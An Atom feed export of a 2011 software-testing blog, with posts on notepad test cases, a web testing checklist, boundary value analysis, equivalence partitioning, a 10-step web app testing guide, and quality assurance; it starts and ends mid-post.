If you dont give any name in it then data should not be saved.&lt;br /&gt;
&lt;br /&gt;
Should accept all alph-numeric, space and special characters. &lt;br /&gt;
&lt;br /&gt;
Performance:&lt;br /&gt;
Add huge amount of data the file and test the time taken for saving the file.&lt;br /&gt;
&lt;br /&gt;
Load:&lt;br /&gt;
&lt;br /&gt;
Keep on adding huge and save every time you add data, and test how much data a notepad can save..&lt;br /&gt;
&lt;br /&gt;
Stress:&lt;br /&gt;
&lt;br /&gt;
If you add enormous amount of data (say 100 MB data), notepad fails to save the data.&lt;br /&gt;
&lt;br /&gt;
Add huge data till notepad fails to save the data and test at what point notepad fails to save the data.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/8220158810421264618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/09/test-cases-samples.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8220158810421264618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8220158810421264618'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/09/test-cases-samples.html' title='Test Cases Samples'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-5697561649579970557</id><published>2011-07-07T02:33:00.000-07:00</published><updated>2011-10-03T04:30:34.970-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Web Testing"/><title type='text'>Web testing checklist</title><content type='html'>Let’s have first web testing checklist.&lt;br /&gt;
1) Functionality Testing&lt;br /&gt;
2) Usability testing&lt;br /&gt;
3) Interface testing&lt;br /&gt;
4) Compatibility testing&lt;br /&gt;
5) Performance testing&lt;br /&gt;
6) Security testing&lt;br /&gt;
&lt;br /&gt;
1) Functionality Testing:&lt;br /&gt;
&lt;br /&gt;
Test for – all the links in web pages, database connection, forms used in the web pages for submitting or getting information from user, Cookie testing.&lt;br /&gt;
&lt;br /&gt;
Check all the links:&lt;br /&gt;
&lt;br /&gt;
* Test the outgoing links from all the pages from specific domain under test.&lt;br /&gt;
* Test all internal links.&lt;br /&gt;
* Test links jumping on the same pages.&lt;br /&gt;
* Test links used to send the email to admin or other users from web pages.&lt;br /&gt;
* Test to check if there are any orphan pages.&lt;br /&gt;
* Lastly in link checking, check for broken links in all above-mentioned links.&lt;br /&gt;
&lt;br /&gt;
Test forms in all pages:&lt;br /&gt;
Forms are the integral part of any web site. Forms are used to get information from users and to keep interaction with them. So what should be checked on these forms?&lt;br /&gt;
&lt;br /&gt;
* First check all the validations on each field.&lt;br /&gt;
* Check for the default values of fields.&lt;br /&gt;
* Wrong inputs to the fields in the forms.&lt;br /&gt;
* Options to create forms if any, form delete, view or modify the forms.&lt;br /&gt;
&lt;br /&gt;
Let’s take example of the search engine project currently I am working on, In this project we have advertiser and affiliate signup steps. Each sign up step is different but dependent on other steps. So sign up flow should get executed correctly. There are different field validations like email Ids, User financial info validations. All these validations should get checked in manual or automated web testing.&lt;br /&gt;
&lt;br /&gt;
Cookies testing:&lt;br /&gt;
Cookies are small files stored on user machine. These are basically used to maintain the session mainly login sessions. Test the application by enabling or disabling the cookies in your browser options. Test if the cookies are encrypted before writing to user machine. If you are testing the session cookies (i.e. cookies expire after the sessions ends) check for login sessions and user stats after session end. Check effect on application security by deleting the cookies. (I will soon write separate article on cookie testing)&lt;br /&gt;
&lt;br /&gt;
Validate your HTML/CSS:&lt;br /&gt;
If you are optimizing your site for Search engines then HTML/CSS validation is very important. Mainly validate the site for HTML syntax errors. Check if site is crawlable to different search engines.&lt;br /&gt;
&lt;br /&gt;
Database testing:&lt;br /&gt;
Data consistency is very important in web application. Check for data integrity and errors while you edit, delete, modify the forms or do any DB related functionality.&lt;br /&gt;
Check if all the database queries are executing correctly, data is retrieved correctly and also updated correctly. More on database testing could be load on DB, we will address this in web load or performance testing below.&lt;br /&gt;
&lt;br /&gt;
2) Usability Testing:&lt;br /&gt;
&lt;br /&gt;
Test for navigation:&lt;br /&gt;
Navigation means how the user surfs the web pages, different controls like buttons, boxes or how user using the links on the pages to surf different pages.&lt;br /&gt;
Usability testing includes:&lt;br /&gt;
Web site should be easy to use. Instructions should be provided clearly. Check if the provided instructions are correct means whether they satisfy purpose.&lt;br /&gt;
Main menu should be provided on each page. It should be consistent.&lt;br /&gt;
&lt;br /&gt;
Content checking:&lt;br /&gt;
Content should be logical and easy to understand. Check for spelling errors. Use of dark colors annoys users and should not be used in site theme. You can follow some standards that are used for web page and content building. These are common accepted standards like as I mentioned above about annoying colors, fonts, frames etc.&lt;br /&gt;
Content should be meaningful. All the anchor text links should be working properly. Images should be placed properly with proper sizes.&lt;br /&gt;
These are some basic standards that should be followed in web development. Your task is to validate all for UI testing&lt;br /&gt;
&lt;br /&gt;
Other user information for user help:&lt;br /&gt;
Like search option, sitemap, help files etc. Sitemap should be present with all the links in web sites with proper tree view of navigation. Check for all links on the sitemap.&lt;br /&gt;
“Search in the site” option will help users to find content pages they are looking for easily and quickly. These are all optional items and if present should be validated.&lt;br /&gt;
&lt;br /&gt;
3) Interface Testing:&lt;br /&gt;
The main interfaces are:&lt;br /&gt;
Web server and application server interface&lt;br /&gt;
Application server and Database server interface.&lt;br /&gt;
&lt;br /&gt;
Check if all the interactions between these servers are executed properly. Errors are handled properly. If database or web server returns any error message for any query by application server then application server should catch and display these error messages appropriately to users. Check what happens if user interrupts any transaction in-between? Check what happens if connection to web server is reset in between?&lt;br /&gt;
&lt;br /&gt;
4) Compatibility Testing:&lt;br /&gt;
Compatibility of your web site is very important testing aspect. See which compatibility test to be executed:&lt;br /&gt;
&lt;br /&gt;
* Browser compatibility&lt;br /&gt;
* Operating system compatibility&lt;br /&gt;
* Mobile browsing&lt;br /&gt;
* Printing options&lt;br /&gt;
&lt;br /&gt;
Browser compatibility:&lt;br /&gt;
In my web-testing career I have experienced this as most influencing part on web site testing.&lt;br /&gt;
Some applications are very dependent on browsers. Different browsers have different configurations and settings that your web page should be compatible with. Your web site coding should be cross browser platform compatible. If you are using java scripts or AJAX calls for UI functionality, performing security checks or validations then give more stress on browser compatibility testing of your web application.&lt;br /&gt;
Test web application on different browsers like Internet explorer, Firefox, Netscape navigator, AOL, Safari, Opera browsers with different versions.&lt;br /&gt;
&lt;br /&gt;
OS compatibility:&lt;br /&gt;
Some functionality in your web application is may not be compatible with all operating systems. All new technologies used in web development like graphics designs, interface calls like different API’s may not be available in all Operating Systems.&lt;br /&gt;
Test your web application on different operating systems like Windows, Unix, MAC, Linux, Solaris with different OS flavors.&lt;br /&gt;
&lt;br /&gt;
Mobile browsing:&lt;br /&gt;
This is new technology age. So in future Mobile browsing will rock. Test your web pages on mobile browsers. Compatibility issues may be there on mobile.&lt;br /&gt;
&lt;br /&gt;
Printing options:&lt;br /&gt;
If you are giving page-printing options then make sure fonts, page alignment, page graphics getting printed properly. Pages should be fit to paper size or as per the size mentioned in printing option.&lt;br /&gt;
&lt;br /&gt;
5) Performance testing:&lt;br /&gt;
Web application should sustain to heavy load. Web performance testing should include:&lt;br /&gt;
Web Load Testing&lt;br /&gt;
Web Stress Testing&lt;br /&gt;
&lt;br /&gt;
Test application performance on different internet connection speed.&lt;br /&gt;
In web load testing test if many users are accessing or requesting the same page. Can system sustain in peak load times? Site should handle many simultaneous user requests, large input data from users, Simultaneous connection to DB, heavy load on specific pages etc.&lt;br /&gt;
&lt;br /&gt;
Stress testing: Generally stress means stretching the system beyond its specification limits. Web stress testing is performed to break the site by giving stress and checked how system reacts to stress and how system recovers from crashes.&lt;br /&gt;
Stress is generally given on input fields, login and sign up areas.&lt;br /&gt;
&lt;br /&gt;
In web performance testing web site functionality on different operating systems, different hardware platforms is checked for software, hardware memory leakage errors,&lt;br /&gt;
&lt;br /&gt;
6) Security Testing:&lt;br /&gt;
&lt;br /&gt;
Following are some test cases for web security testing:&lt;br /&gt;
&lt;br /&gt;
* Test by pasting internal url directly into browser address bar without login. Internal pages should not open.&lt;br /&gt;
* If you are logged in using username and password and browsing internal pages then try changing url options directly. I.e. If you are checking some publisher site statistics with publisher site ID= 123. Try directly changing the url site ID parameter to different site ID which is not related to logged in user. Access should denied for this user to view others stats.&lt;br /&gt;
* Try some invalid inputs in input fields like login username, password, input text boxes. Check the system reaction on all invalid inputs.&lt;br /&gt;
* Web directories or files should not be accessible directly unless given download option.&lt;br /&gt;
* Test the CAPTCHA for automates scripts logins.&lt;br /&gt;
* Test if SSL is used for security measures. If used proper message should get displayed when user switch from non-secure http:// pages to secure https:// pages and vice versa.&lt;br /&gt;
* All transactions, error messages, security breach attempts should get logged in log files somewhere on web server.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/5697561649579970557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/07/web-testing-checklist.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5697561649579970557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5697561649579970557'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/07/web-testing-checklist.html' title='Web testing checklist'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-4406629118636401609</id><published>2011-06-08T03:25:00.001-07:00</published><updated>2011-10-03T04:27:14.136-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Black Box Testing"/><title type='text'>Boundary Value Analysis</title><content type='html'>Boundary value analysis is a software testing technique in which tests are designed to include representatives of boundary values. Values on the minimum and maxiumum edges of an equivalence partition are tested. The values could be either input or output ranges of a software component. Since these boundaries are common locations for errors that result in software faults they are frequently exercised in test cases.&lt;br /&gt;
[edit] Application&lt;br /&gt;
&lt;br /&gt;
The expected input and output values to the software component should be extracted from the component specification. The values are then grouped into sets with identifiable boundaries. Each set, or partition, contains values that are expected to be processed by the component in the same way. Partitioning of test data ranges is explained in the equivalence partitioning test case design technique. It is important to consider both valid and invalid partitions when designing test cases.&lt;br /&gt;
&lt;br /&gt;
For an example, if the input values were months of the year expressed as integers, the input parameter &#39;month&#39; might have the following partitions:&lt;br /&gt;
&lt;br /&gt;
... -2 -1  0 1 .............. 12 13  14  15 .....&lt;br /&gt;
--------------|-------------------|-------------------&lt;br /&gt;
invalid partition 1   valid partition   invalid partition 2&lt;br /&gt;
&lt;br /&gt;
The boundary between two partitions is the place where the behavior of the application changes and is not a real number itself. The boundary value is the minimum (or maximum) value that is at the boundary. The number 0 is the maximum number in the first partition, the number 1 is the minimum value in the second partition, both are boundary values. Test cases should be created to generate inputs or outputs that will fall on and to either side of each boundary, which results in two cases per boundary. The test cases on each side of a boundary should be in the smallest increment possible for the component under test, for an integer this is 1, but the input was a decimal with 2 places then it would be .01. In the example above there are boundary values at 0,1 and 12,13 and each should be tested.&lt;br /&gt;
&lt;br /&gt;
Boundary value analysis does not require invalid partitions. Take an example where a heater is turned on if the temperature is 10 degrees or colder. There are two partitions (temperature&lt;=10, temperature&gt;10) and two boundary values to be tested (temperature=10, temperature=11).&lt;br /&gt;
&lt;br /&gt;
Where a boundary value falls within the invalid partition the test case is designed to ensure the software component handles the value in a controlled manner. Boundary value analysis can be used throughout the testing cycle and is equally applicable at all testing phases.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/4406629118636401609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/06/boundary-value-analysis.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/4406629118636401609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/4406629118636401609'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/06/boundary-value-analysis.html' title='Boundary Value Analysis'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-5353217518172243554</id><published>2011-06-08T03:05:00.001-07:00</published><updated>2011-10-03T04:26:51.153-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Black Box Testing"/><title type='text'>Equivalence partitioning</title><content type='html'>Equivalence partitioning (also called Equivalence Class Partitioning or ECP[1]) is a software testing technique that divides the input data of a software unit into partitions of data from which test cases can be derived. In principle, test cases are designed to cover each partition at least once. This technique tries to define test cases that uncover classes of errors, thereby reducing the total number of test cases that must be developed.&lt;br /&gt;
&lt;br /&gt;
In rare cases equivalence partitioning is also applied to outputs of a software component, typically it is applied to the inputs of a tested component. The equivalence partitions are usually derived from the requirements specification for input attributes that influence the processing of the test object. An input has certain ranges which are valid and other ranges which are invalid. Invalid data here does not mean that the data is incorrect, it means that this data lies outside of specific partition. This may be best explained by the example of a function which takes a parameter &quot;month&quot;. The valid range for the month is 1 to 12, representing January to December. This valid range is called a partition. In this example there are two further partitions of invalid ranges. The first invalid partition would be &lt;= 0 and the second invalid partition would be &gt;= 13.&lt;br /&gt;
&lt;br /&gt;
... -2 -1  0 1 .............. 12 13  14  15 .....&lt;br /&gt;
--------------|-------------------|---------------------&lt;br /&gt;
invalid partition 1     valid partition    invalid partition 2&lt;br /&gt;
&lt;br /&gt;
The testing theory related to equivalence partitioning says that only one test case of each partition is needed to evaluate the behaviour of the program for the related partition. In other words it is sufficient to select one test case out of each partition to check the behaviour of the program. To use more or even all test cases of a partition will not find new faults in the program. The values within one partition are considered to be &quot;equivalent&quot;. Thus the number of test cases can be reduced considerably.&lt;br /&gt;
&lt;br /&gt;
An additional effect of applying this technique is that you also find the so called &quot;dirty&quot; test cases. An inexperienced tester may be tempted to use as test cases the input data 1 to 12 for the month and forget to select some out of the invalid partitions. This would lead to a huge number of unnecessary test cases on the one hand, and a lack of test cases for the dirty ranges on the other hand.&lt;br /&gt;
&lt;br /&gt;
The tendency is to relate equivalence partitioning to so called black box testing which is strictly checking a software component at its interface, without consideration of internal structures of the software. But having a closer look at the subject there are cases where it applies to grey box testing as well. Imagine an interface to a component which has a valid range between 1 and 12 like the example above. However internally the function may have a differentiation of values between 1 and 6 and the values between 7 and 12. Depending upon the input value the software internally will run through different paths to perform slightly different actions. Regarding the input and output interfaces to the component this difference will not be noticed, however in your grey-box testing you would like to make sure that both paths are examined. To achieve this it is necessary to introduce additional equivalence partitions which would not be needed for black-box testing. For this example this would be:&lt;br /&gt;
&lt;br /&gt;
... -2 -1  0 1 ..... 6 7 ..... 12 13  14  15 .....&lt;br /&gt;
--------------|---------|----------|---------------------&lt;br /&gt;
invalid partition 1      P1         P2     invalid partition 2&lt;br /&gt;
valid partitions&lt;br /&gt;
&lt;br /&gt;
To check for the expected results you would need to evaluate some internal intermediate values rather than the output interface. It is not necessary that we should use multiple values from each partition. In the above scenario we can take -2 from invalid partition 1, 6 from valid partition, and 15 from invalid partition 2.&lt;br /&gt;
&lt;br /&gt;
Equivalence partitioning is not a stand alone method to determine test cases. It has to be supplemented by boundary value analysis. Having determined the partitions of possible inputs the method of boundary value analysis has to be applied to select the most effective test cases out of these partitions.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/5353217518172243554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/06/equivalence-partitioning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5353217518172243554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5353217518172243554'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/06/equivalence-partitioning.html' title='Equivalence partitioning'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-8398331737729888606</id><published>2011-05-27T05:59:00.001-07:00</published><updated>2011-10-03T04:44:02.729-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="A Quick 10-Step Guide"/><title type='text'>A Quick 10-Step Guide</title><content type='html'>Testing Your Web Apps&lt;br /&gt;
&lt;br /&gt;
A Quick 10-Step Guide&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Interested in a quick checklist for testing a web application? The following 10 steps cover the most critical items that I have found important in making sure a web application is ready to be deployed. Depending on size, complexity, and corporate policies, modify the following steps to meet your specific testing needs.&lt;br /&gt;
&lt;br /&gt;
Step 1 - Objectives&lt;br /&gt;
&lt;br /&gt;
Make sure to establish your testing objectives up front and make sure they are measurable. It will make your life a lot easier by having written objectives that your whole team can understand and rally around. In addition to documenting your objectives, make sure your objectives are prioritized. Ask yourself questions like &quot;What is most important: minimal defects or time-to-market?&quot;&lt;br /&gt;
&lt;br /&gt;
Here are two examples of how to determine priorities:&lt;br /&gt;
&lt;br /&gt;
If you are building a medical web application that will assist in diagnosing illnesses, and someone could potentially die based on how correctly the application functions, you may want to make testing the correctness of the business functionality a higher priority than testing for navigational consistency throughout the application.&lt;br /&gt;
&lt;br /&gt;
If you are testing an application that will be used to solicit external funding, you may want to put testing the aspects of the application that impact the visual appeal as the highest testing priority.&lt;br /&gt;
&lt;br /&gt;
Your web application doesn&#39;t have to be perfect; it just needs to meet your intended customer&#39;s requirements and expectations.&lt;br /&gt;
&lt;br /&gt;
Step 2 – Process and Reporting&lt;br /&gt;
Make sure that everyone on your testing team knows his or her role. Who should report what to whom and when? In other words, define your testing process. Use the following questions to help you get started:&lt;br /&gt;
&lt;br /&gt;
* How will issues be reported?&lt;br /&gt;
* Who can assign issues?&lt;br /&gt;
* How will issues be categorized?&lt;br /&gt;
* Who needs what report and when do they need it?&lt;br /&gt;
* Are team meetings scheduled in advance or scheduled as needed?&lt;br /&gt;
&lt;br /&gt;
You may define your testing process and reporting requirements formally or informally, depending on your particular needs. The main point to keep in mind is to organize your team in a way that supports your testing objectives and takes into account the individual personalities on your team. One size never fits all when dealing with people.&lt;br /&gt;
&lt;br /&gt;
Step 3 - Tracking Results&lt;br /&gt;
Once you start executing your test plans, you will probably generate a large number of bugs, issues, defects, etc. You will want a way to easily store, organize, and distribute this information to the appropriate technical team members. You will also need a way to keep management informed on the status of your testing efforts. If your company already has a system in place to track this type of information, don&#39;t try to reinvent the wheel. Take advantage of what&#39;s already in place.&lt;br /&gt;
&lt;br /&gt;
If your company doesn&#39;t already have something in place, spend a little time investigating some of the easy-to-setup online systems such as the one found at AdminiTrack.com. By using an online system, you can make it much easier on yourself by eliminating the need to install and maintain an off-the-shelf package.&lt;br /&gt;
&lt;br /&gt;
Step 4 - Test Environment&lt;br /&gt;
&lt;br /&gt;
Set up a test environment that is separate from your development and production environment. This includes a separate web server, database server, and application server if applicable. You may or may not be able to utilize existing computers to setup a separate test environment.&lt;br /&gt;
&lt;br /&gt;
Create an explicitly defined procedure for moving code to and from your test environment and make sure the procedure is followed. Also, work with your development team to make sure each new version of source code to be tested is uniquely identified.&lt;br /&gt;
&lt;br /&gt;
Step 5 - Usability Testing&lt;br /&gt;
&lt;br /&gt;
In usability testing, you&#39;ll be looking at aspects of your web application that affect the user&#39;s experience, such as:&lt;br /&gt;
&lt;br /&gt;
* How easy is it to navigate through your web application?&lt;br /&gt;
* Is it obvious to the user which actions are available to him or her?&lt;br /&gt;
* Is the look-and-feel of your web application consistent from page to page, including font sizes and colors?&lt;br /&gt;
&lt;br /&gt;
The book, &quot;Don&#39;t Make Me Think! A Common Sense Approach to Web Usability&quot; by Steve Krug and Roger Black, provides a practical approach to the topic of usability. I refer to it often, and recommend it highly.&lt;br /&gt;
&lt;br /&gt;
In addition to the traditional navigation and look-and-feel issues, Section 508 compliance is another area of importance. The 1998 Amendment to Section 508 of the Rehabilitation Act spells out accessibility requirements for individuals with certain disabilities.&lt;br /&gt;
&lt;br /&gt;
For instance, if a user forgets to fill in a required field, you might think it is a good idea to present the user with a friendly error message and change the color of the field label to red or some other conspicuous color. However, changing the color of the field label would not really help a user who has difficulty deciphering colors. The use of color may help most users, but you would want to use an additional visual clue, such as placing an asterisk beside the field in question or additionally making the text bold.&lt;br /&gt;
&lt;br /&gt;
For more details, refer to http://www.section508.gov. Another great resource that can help analyze your HTML pages for Section 508 compliance can be found at http://www.cast.org/bobby/. If you are working with the United States federal government, Section 508 compliance is not only good design, it most likely is a legal requirement. You may want to utilize the following information regarding techniques for accessibility evaluation and repair tools, which can be found at http://www.w3.org/TR/AERT.&lt;br /&gt;
&lt;br /&gt;
Step 6 – Unit Testing&lt;br /&gt;
&lt;br /&gt;
Unit testing is focused on verifying small portions of functionality. For example, an individual unit test case might focus on verifying that the correct data has been saved to the database when the Submit button on a particular page is clicked.&lt;br /&gt;
&lt;br /&gt;
An important subset of unit testing that is often overlooked is range checking. That is, making sure all the fields that collect information from the user, can gracefully handle any value that is entered. Most people think of range checking as making sure that a numeric field only accepts numbers. In addition to traditional range checking make sure you also check for less common, but just as problematic exceptions. For example, what happens when a user enters his or her last name and the last name contains an apostrophe, such as O&#39;Brien? Different combinations of databases and database drivers handle the apostrophe differently, sometimes with unexpected results. Proper unit testing will help rid your web application of obvious errors that your users should never have to encounter.&lt;br /&gt;
&lt;br /&gt;
Step 7 - Verifying the HTML&lt;br /&gt;
&lt;br /&gt;
Hyper Text Markup Language (HTML) is the computer language sent from your web server to the web browser on your users&#39; computer to display the pages that make up your web application. The World Wide Web Consortium (http://www.w3.org) manages the HTML specification. One major objective of HTML is to provide the ability for anyone from anywhere to access information on the World Wide Web. This concept generally holds true if you conform strictly to the relevant version of the HTML specification that you will support. Unfortunately, in the real world, it is possible for a developer to inadvertently use a proprietary HTML tag that may not work for all of your intended users.&lt;br /&gt;
&lt;br /&gt;
Verifying HTML is simple in concept but can be very time consuming in practice. A good place to start is with the World Wide Web Consortium&#39;s free HTML Validation Service (http://validator.w3.org). There are also other online and downloadable applications to help in this area such as Net Mechanic (http://www.netmechanic.com). There are two main aspects of verifying the validity of your HTML. First, you want to make sure that your syntax is correct, such as verifying that all opening and closing tags match, etc. Secondly, you want to verify how your pages look in different browsers, at different screen resolutions, and on different operating systems. Create a profile of your target audience and make some decisions on what browsers you will support, on which operating systems, and at what screen resolutions.&lt;br /&gt;
&lt;br /&gt;
In general, the later versions of Microsoft Internet Explorer are very forgiving. If your development team has only been using Internet Explorer 5.5 on high-resolution monitors, you may be unpleasantly surprised when you see your web application on a typical user&#39;s computer. The sooner you start verifying your HTML, the better off your web application will be.&lt;br /&gt;
&lt;br /&gt;
Step 8 - Load Testing&lt;br /&gt;
&lt;br /&gt;
In performing load testing, you want to simulate how users will use your web application in the real world. The earlier you perform load testing the better. Simple design changes can often make a significant impact on the performance and scalability of your web application. A good overview of how to perform load testing can be found on Microsoft&#39;s Developer Network (MSDN) website:&lt;br /&gt;
&lt;br /&gt;
http://msdn.microsoft.com/msdnmag/issues/03/01/LoadTesting/default.aspx&lt;br /&gt;
&lt;br /&gt;
A topic closely related to load testing is performance tuning. Performance tuning should be tightly integrated with the design of your application. If you are using Microsoft technology, the following article is a great resource for understanding the specifics of tuning a web application.&lt;br /&gt;
&lt;br /&gt;
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vsent7/html/vxconPerformance.asp&lt;br /&gt;
&lt;br /&gt;
People hate to wait for a web page to load. As general rule, try to make sure that all of your pages load in 15 seconds or less. This rule will of course depend on your particular application and the expectations of the people using it.&lt;br /&gt;
&lt;br /&gt;
Step 9 - User Acceptance Testing&lt;br /&gt;
&lt;br /&gt;
By performing user acceptance testing, you are making sure your web application fits the use for which it was intended. Simply stated, you are making sure your web application makes things easier for the user and not harder. One effective way to handle user acceptance testing is by setting up a beta test for your web application.&lt;br /&gt;
Step 10 - Testing Security&lt;br /&gt;
&lt;br /&gt;
With the large number of highly skilled hackers in the world, security should be a huge concern for anyone building a web application. You need to test how secure your web application is from both external and internal threats. The security of your web application should be planned for and verified by qualified security specialists.&lt;br /&gt;
&lt;br /&gt;
Some additional online resources to help you stay up to date on the latest Internet security issues include:&lt;br /&gt;
&lt;br /&gt;
CERT Coordination Center&lt;br /&gt;
http://www.cert.org&lt;br /&gt;
&lt;br /&gt;
Computer Security Resource Center&lt;br /&gt;
http://csrc.nist.gov&lt;br /&gt;
&lt;br /&gt;
After performing your initial security testing, make sure to also perform ongoing security audits to ensure your web application remains secure over time as people and technology change.&lt;br /&gt;
&lt;br /&gt;
Testing a web application can be a totally overwhelming task. The best advice I can give you is to keep prioritizing and focusing on the most important aspects of your application and don&#39;t forget to solicit help from your fellow team members.&lt;br /&gt;
&lt;br /&gt;
By following the steps above coupled with your own expertise and knowledge, you will have a web application you can be proud of and that your users will love. You will also be giving your company the opportunity to deploy a web application that could become a run away success and possibly makes tons of money, saves millions of lives, or slashes customer support costs in half. Even better, because of your awesome web application, you may get profiled on CNN, which causes the killer job offers to start flooding in.&lt;br /&gt;
&lt;br /&gt;
Proper testing is an integral part of creating a positive user experience, which can translate into the ultimate success of your web application. Even if your web application doesn&#39;t get featured on CNN, CNBC, or Fox News, you can take great satisfaction in knowing how you and your team&#39;s diligent testing efforts made all the difference in your successful deployment.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/8398331737729888606/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/05/quick-10-step-guide.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8398331737729888606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8398331737729888606'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/05/quick-10-step-guide.html' title='A Quick 10-Step Guide'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-2510144029743620583</id><published>2011-05-24T22:12:00.001-07:00</published><updated>2011-10-03T04:35:26.515-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="QA and QC"/><title type='text'>Accuracy of Quality Assurance</title><content type='html'>Accuracy of Quality Assurance&lt;br /&gt;
&lt;br /&gt;
Quality Assurance and Control: Why Accuracy is Vital&lt;br /&gt;
&lt;br /&gt;
Competition is intense in today’s business and industrial arenas. When products and services vie heavily for market shares, the ability to deliver quality products that stand up to their promises is often a determining factor when a customer chooses a vendor. The accuracy of that vendor’s quality assurance process is key to gaining or expanding footholds in market shares.&lt;br /&gt;
&lt;br /&gt;
Definition&lt;br /&gt;
Quality Assurance (QA) can be defined as “the inspection and testing process a business conducts to verify manufacturing, assembly, or performance standards for a product or service in accordance with business, local, industry, or government guidelines.”&lt;br /&gt;
&lt;br /&gt;
Quality Control (QC) often goes hand-in-hand with Quality Assurance. QC can be defined as “Steps, checks, and balances to detect, repair, and improve upon errors or defects in a manufactured product or a service.”&lt;br /&gt;
&lt;br /&gt;
A QC/QA inspection process can be as simple as checking a document for typographical, grammatical, or punctuation errors. It can be as complex as disassembling a large-capacity airliner and inspecting every part then reassembling it, testing performance as each step is completed.&lt;br /&gt;
&lt;br /&gt;
Typical QC/QA Process Steps&lt;br /&gt;
The most popular Quality Assurance process is called the Shewart Cycle, developed by Dr. W. Edwards Deming. The cycle outlines a process untailored to specific businesses or industries.&lt;br /&gt;
&lt;br /&gt;
Commonly abbreviated as PDCA, the Shewart Cycle comprises four steps:&lt;br /&gt;
1. Plan. Outline specific and detailed inspection steps and expected results. Explain corrective actions at each step, should a product or service fail to pass inspection. Include the percentage of each product category to undergo Quality Assurance testing.&lt;br /&gt;
2. Do. Initiate and complete each action step within the QualityAssurance process.&lt;br /&gt;
3. Check. Using prequalified standards, monitor, test, and compare products for known quality points and potential defects or shortcomings.&lt;br /&gt;
4. Act. Adjust product generation processes to improve and correct products to meet or exceed expectations or requirements.&lt;br /&gt;
&lt;br /&gt;
Above all, test and retest often.&lt;br /&gt;
&lt;br /&gt;
The Shewart Cycle versus ISO 9000&lt;br /&gt;
PDCA is a process to ensure accuracy in quality assurance and is conducted within the business structure. ISO 9000 is an international standard that ensures a company’s Quality Assurance plans and procedures are in place and effective.&lt;br /&gt;
&lt;br /&gt;
Quality Often Lies in the Details&lt;br /&gt;
Focusing on details will enable thorough and accurate quality assurance processes. QC/QA in a manufacturing process could easily include not only the final product but the raw materials used in creating a product.&lt;br /&gt;
· Is the ordered materiel of the correct chemical composition? Is the steel strong, dense, etc., enough? Is the liquid too acidic, sweet, watery, etc.?&lt;br /&gt;
· Is the board precisely the correct length or it is slightly off the required dimension? Is the glass too thick? Too thin, etc.? Is it strong enough or thin enough? Is it made from the right wood?&lt;br /&gt;
· Is the color or shade correct? Is it of the correct dye lot?&lt;br /&gt;
· Is that bolt under the sealed covering torqued to specifications? Is it too tight or too loose? Is it the right type, length, or width? Is it the color specified or does it matter?&lt;br /&gt;
